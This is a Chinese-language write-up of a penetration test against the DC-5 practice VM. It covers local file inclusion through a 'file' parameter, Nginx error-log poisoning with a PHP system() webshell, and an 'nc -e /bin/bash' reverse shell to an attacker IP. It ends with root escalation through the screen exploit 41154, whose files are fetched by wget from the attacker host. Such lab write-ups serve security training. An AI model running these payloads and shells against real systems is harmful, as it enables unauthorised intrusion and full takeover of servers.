当前位置:网站首页>DC-5靶场下载及渗透实战详细过程(DC靶场系列)
DC-5靶场下载及渗透实战详细过程(DC靶场系列)
2022-08-03 03:37:00 【金 帛】
目录
DC-5靶场下载地址https://www.five86.com/downloads/DC-5.zip
一. 信息收集
1. 主机扫描
2. 端口扫描
3. 目录扫描
扫描出了一个特别的
4. 页面信息探测
主页面没发现有啥,只知道用的中间件为Nginx
而这个页面,每次刷新版权标识年份都会随机变化
这个页面也是随机变化,出现这种情况,可能是因为传参为空而默认包涵了本地下的footer.php文件,所以考虑到本地文件包含漏洞,当然也可能只是PHP脚本随机的结果
二. 渗透过程
1. 寻找包含文件的参数
为了验证文件包含的猜想,这里利用burpsuite爆破配合参数fuzz拆解
我这边也上传在csdn了,0积分免费下载
burpsuite抓包
设置好Positions爆破参数
加载刚才下载的参数fuzz,开始爆破
爆破得到file参数
2. Nginx日志文件包含
先查看一下Nginx的配置,构造payload
http://ip/thankyou.php?file=/etc/nginx/nginx.conf
开启了访问日志(access_log)和错误日志(error_log),这里我们看一下错误日志
http://ip/thankyou.php?file=/var/log/nginx/error.log
得到了thankyou.php的目录,不难发现,传参错误的时候,会自动记录URL还有referer头在错误日志里,构造payload
/thankyou.php?mumua=<?php system($_GET[1])?>
这里记得用burpsuite重复器抓包发送,用浏览器传参会自动将<>转换成URL编码导致php执行失败
接着尝试一下命令执行
/thankyou.php?file=/var/log/nginx/error.log&1=whoami
任意命令执行成功!!!
3. 反弹shell
构造payload
/thankyou.php?file=/var/log/nginx/error.log&1=nc -e /bin/bash 192.168.120.129 6666
反弹shell成功,升级为交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
4. Linux提权
find / -perm -4000 -print 2>/dev/null
可以看到有两个特殊的命令,exim之前在DC-4的时候试过了,不能完全得到root权限,这里用screen作为突破口,用searchsploit工具搜索一下漏洞
searchsploit screen 4
将文件复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /root/桌面/exp.sh
开启http服务
python -m http.server 8888
接下来,我们以文本的形式打开exp.sh文件(因为靶机没有对应的命令,只能手工提取命令了)
根据提示,在桌面创建两个c文件
保存之后,在桌面打开终端,用gcc编译c文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
编译完后,再将这两个c文件删掉,文本让我们用rm命令,我们也可以自己删,接着我们修改exp.sh文件内容
将1到36行的内容全部删除并保存,留下cd /etc后面的命令,接着在/tmp目录下,下载这三个文件
cd /tmp
wget 192.168.120.129:8888/exp.sh
wget 192.168.120.129:8888/libhax.so
wget 192.168.120.129:8888/rootshell
文件下载完后,赋予exp文件权限并执行exp.sh
chmod 777 exp.sh
./exp.sh
提权成功
5. 找查flag
find / -name *flag.*
tac /root/this*
通过成功!!!
三. 收获总结
1. Nginx日志包含
①先查看配置文件,查看开启的日志
/etc/nginx/nginx.conf
②错误日志跟访问日志目录
/var/log/nginx/access.log
#访问日志
/var/log/nginx/error.log
#错误日志
③通过分析日志,包含木马
记得一定要用burpsuite进行测试,用浏览器会导致大于小于号被URL编码而无法正确识别PHP
2. 值得注意的事项
当目标靶机没有相关的命令时,可以自己分析sh文件,现在kali上完成一些重要的操作,然后手工提权
边栏推荐
- 使用docker容器搭建MySQL主从复制
- 22 ES6 knowledge points
- 阿里面试官:聊聊如何格式化Instant
- Auto.js Pro 计算脚本运行时间
- OneNote 教程,如何在 OneNote 中设置笔记格式?
- 【剑指offer】——16.数值的整数次方
- Jincang Database Pro*C Migration Guide (3. KingbaseES Pr*oc Compatibility with Oracle Pro*c)
- vant-field中colon属性为true报错
- 中非合作论坛非洲产品电商推广季启动 外交部:推动中非合作转型升级
- 积分商城可设置的四种兑换商品类型
猜你喜欢
随机推荐
浅谈用KUSTO查询语言(KQL)在Azure Synapse Analytics(Azure SQL DW)审计某DB账号的操作记录
Sentinel vs Hystrix 限流对比,到底怎么选?
Auto.js Pro 编写第一个脚本hello world
银微转债,洁特转债上市价格预测
22 ES6 knowledge points
ESP8266-Arduino编程实例-MAX6675冷端补偿K热电偶数字转换器驱动
urlencode 和rawurlencode的区别
Senior ClickHouse -
【STM32】入门(三):按键使用-GPIO端口输出控制
stdio.h(本机代码)
道通转债,微芯转债,博22转债上市价格预测
ClickHouse delete table
【无标题】2022-7-24
WinForm(二):WinFrom中Main函数的入参和出参
DMA 的工作方式
OneNote 教程,如何在 OneNote 中设置笔记格式?
问下有用sql server flink-sql-connector-sqlserver-cdc-2
第3周 用1层隐藏层的神经网络分类二维数据
How to write test cases in software testing technology (2)
els 消除行